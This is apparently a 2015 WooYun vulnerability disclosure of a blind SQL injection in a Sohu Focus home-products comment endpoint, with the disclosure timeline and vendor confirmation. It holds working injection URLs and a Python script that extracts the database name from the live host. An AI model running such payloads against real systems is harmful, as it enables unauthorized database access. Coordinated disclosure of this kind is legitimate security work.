当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-093464

漏洞标题:搜狐焦点家居某处SQL盲注

相关厂商:搜狐

漏洞作者: Yns0ng

提交时间:2015-01-23 09:39

修复时间:2015-03-09 09:40

公开时间:2015-03-09 09:40

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-01-23: 细节已通知厂商并且等待厂商处理中
2015-01-23: 厂商已经确认,细节仅向厂商公开
2015-02-02: 细节向核心白帽子及相关领域专家公开
2015-02-12: 细节向普通白帽子公开
2015-02-22: 细节向实习白帽子公开
2015-03-09: 细节向公众公开

简要描述:

搜狐焦点家居某处Boolean盲注,附Python验证脚本,仅供证明漏洞用。

详细说明:

1,注入点
http://home.focus.cn/product/dianping_9/
注入点为该页面中对产品点评“支持”或“反对”操作。如图:

Boolean-5-0.jpg


通过抓包分析,可以看到该操作是通过请求一个URL完成的。URL类似于:http://home.focus.cn/chanpinku/ajax/comment_agree.php?comment_id=4442&agree=agree
其中,参数comment_id为点评ID,该参数存在注入。
2,PoC
为False时:
/chanpinku/ajax/comment_agree.php?comment_id=4442'and'a'='b&agree=agree

Boolean-5-1.jpg


然后,刷新点评页面,发现没有“支持”成功。

Boolean-5-2.jpg


为True时:
/chanpinku/ajax/comment_agree.php?comment_id=4442'and'a'='a&agree=agree

Boolean-5-3.jpg


然后,刷新点评页面,发现“支持”成功了。

Boolean-5-4.jpg


OK,如上已经可以证明漏洞确实存在。猜解出当前DB长度为9。

Boolean-5-5.jpg


成功“支持”。

Boolean-5-6.jpg


3,验证脚本
通过以上分析,我们可以编写脚本加以利用该漏洞。这边,提供一份猜解DB名称的脚本,仅供验证漏洞用。

#encoding=utf-8
import httplib
import time
import sys
import string
"""
"""
charlist = list(string.ascii_lowercase + string.ascii_uppercase + '._-/@')
headers = {
'User-Agent' : 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36',
}
print '[%s] Start to retrive database: ' % time.strftime('%H:%M:%S', time.localtime())
db = ''
for i in range(1, 10):
for char in charlist:
con1 = httplib.HTTPConnection('home.focus.cn', timeout=30)
payload = "'and(ascii(mid(database(),%s,1))=%s)and'a'='a" % (i, ord(char))
con1.request(method='GET', url='/chanpinku/ajax/comment_agree.php?comment_id=4442' + payload + '&agree=agree', headers=headers)
code = con1.getresponse().status
con1.close()

if code == 200:
con2 = httplib.HTTPConnection('home.focus.cn', timeout=30)

con2.request(method='GET', url='/product/dianping_9/', headers=headers)
html = con2.getresponse().read()
con2.close()

if html.find('<span id="comment_agree_num_4442">%s</span>' % (i+20)) > -1:
db += char
sys.stdout.write('\n[Retriving database] ' + db)
sys.stdout.flush()
break
else:
pass
print '\n[%s Done] Database is %s' % (time.strftime('%H:%M:%S', time.localtime()), db)


其中,i+20中的20为执行脚本前,页面中comment_id为4442点评的“支持”数。
执行脚本,可以猜解出DB名称为:chanpinku

Boolean-5-7.jpg

漏洞证明:

Boolean-5-7.jpg

修复方案:

版权声明:转载请注明来源 Yns0ng@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:8

确认时间:2015-01-23 10:15

厂商回复:

感谢你对搜狐安全的支持。

最新状态:

暂无


漏洞评价:

评论

  1. 2015-01-23 09:52 | he1renyagao ( 普通白帽子 | Rank:225 漏洞数:29 | 是金子总会发光,在还未发光之前,先打磨打...)

    搜狐焦点的注入修不完.....

  2. 2015-03-09 12:04 | 明月影 ( 路人 | Rank:12 漏洞数:8 | 学姿势,学思路。)

    洞主的思路值得借鉴,分析每一处和数据库有交互的参数。